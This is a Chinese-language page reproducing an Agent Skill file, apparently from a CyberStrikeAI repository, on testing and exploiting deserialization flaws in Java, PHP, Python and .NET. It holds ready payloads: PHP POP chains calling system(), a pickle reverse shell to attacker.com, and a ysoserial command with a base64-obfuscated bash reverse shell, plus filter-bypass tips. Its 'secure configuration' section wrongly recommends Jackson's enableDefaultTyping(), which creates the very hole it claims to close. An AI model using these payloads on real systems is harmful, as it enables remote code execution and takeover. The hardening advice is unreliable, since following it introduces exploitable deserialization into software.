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deserialization-testing

deserialization-testing 是面向效率工具的 Agent Skill,来自 Ed1s0nZ/CyberStrikeAI。查看技能说明、操作步骤与使用约定,并通过原项目了解详细用法。

反序列化漏洞测试的专业技能和方法论

SKILL.md

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namedeserialization-testing
description反序列化漏洞测试的专业技能和方法论
version1.0.0

反序列化漏洞测试

概述

反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。

漏洞原理

应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。

常见格式

Java

常见库: - Java原生序列化 - Jackson - Fastjson - XStream - Apache Commons Collections

PHP

常见函数: - unserialize() - json_decode()

Python

常见模块: - pickle - yaml - json

.NET

常见类: - BinaryFormatter - SoapFormatter - DataContractSerializer

测试方法

1. 识别序列化数据

Java序列化特征:

AC ED 00 05 (十六进制)
rO0 (Base64)

PHP序列化特征:

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

Python pickle特征:

\x80\x03

2. 检测反序列化点

常见位置: - Cookie值 - Session数据 - API参数 - 文件上传 - 缓存数据 - 消息队列

3. Java反序列化

Apache Commons Collections利用:

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

常见Gadget链: - CommonsCollections1-7 - Spring1-2 - ROME - Jdk7u21

4. PHP反序列化

基础测试:

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

魔术方法利用: - __destruct() - __wakeup() - __toString() - __call()

5. Python pickle

基础测试:

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

pickle.dumps(RCE())

利用技术

Java RCE

使用ysoserial:

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# Base64编码
base64 -w 0 payload.bin

手动构造:

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

PHP RCE

利用POP链:

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}

class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}

$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

Python RCE

Pickle RCE:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload))

绕过技术

编码绕过

Base64编码:

原始: rO0ABXNy...
编码: ck8wQUJYTnk...

URL编码:

%72%4F%00%AB...

过滤器绕过

使用不同Gadget链: - 如果CommonsCollections被过滤,尝试Spring - 如果某个版本被过滤,尝试其他版本

类名混淆

使用反射:

Class.forName("java.lang.Runtime").getMethod("exec", String.class)

工具使用

ysoserial

# 列出可用Gadget
java -jar ysoserial.jar

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64

PHPGGC

# 列出可用Gadget
./phpggc -l

# 生成Payload
./phpggc Monolog/RCE1 system id

# 生成编码Payload
./phpggc -b Monolog/RCE1 system id

Burp Suite

  1. 拦截包含序列化数据的请求
  2. 使用插件生成Payload
  3. 替换原始数据
  4. 观察响应

验证和报告

验证步骤

  1. 确认可以控制序列化数据
  2. 验证反序列化触发代码执行
  3. 评估影响(RCE、数据泄露等)
  4. 记录完整的POC

报告要点

  • 漏洞位置和序列化数据格式
  • 使用的Gadget链或利用方式
  • 完整的利用步骤和PoC
  • 修复建议(输入验证、使用安全序列化等)

防护措施

推荐方案

  1. 避免反序列化不可信数据 - 使用JSON替代 - 使用安全的序列化格式

  2. 输入验证 ```java // 白名单验证类名 private static final Set ALLOWED_CLASSES = Set.of("com.example.SafeClass");

private Object readObject(ObjectInputStream ois) { // 验证类名 // ... } ```

  1. 使用安全配置 java // Jackson配置 objectMapper.enableDefaultTyping(); objectMapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);

  2. 类加载器隔离 - 使用自定义ClassLoader - 限制可加载的类

  3. 监控和日志 - 记录反序列化操作 - 监控异常行为

注意事项

  • 仅在授权测试环境中进行
  • 注意不同版本库的Gadget链差异
  • 测试时注意Payload大小限制
  • 了解目标应用的依赖库版本

来源:Ed1s0nZ/CyberStrikeAI · Apache-2.0 许可 · 许可原文 · MD 为来源页保存的历史版本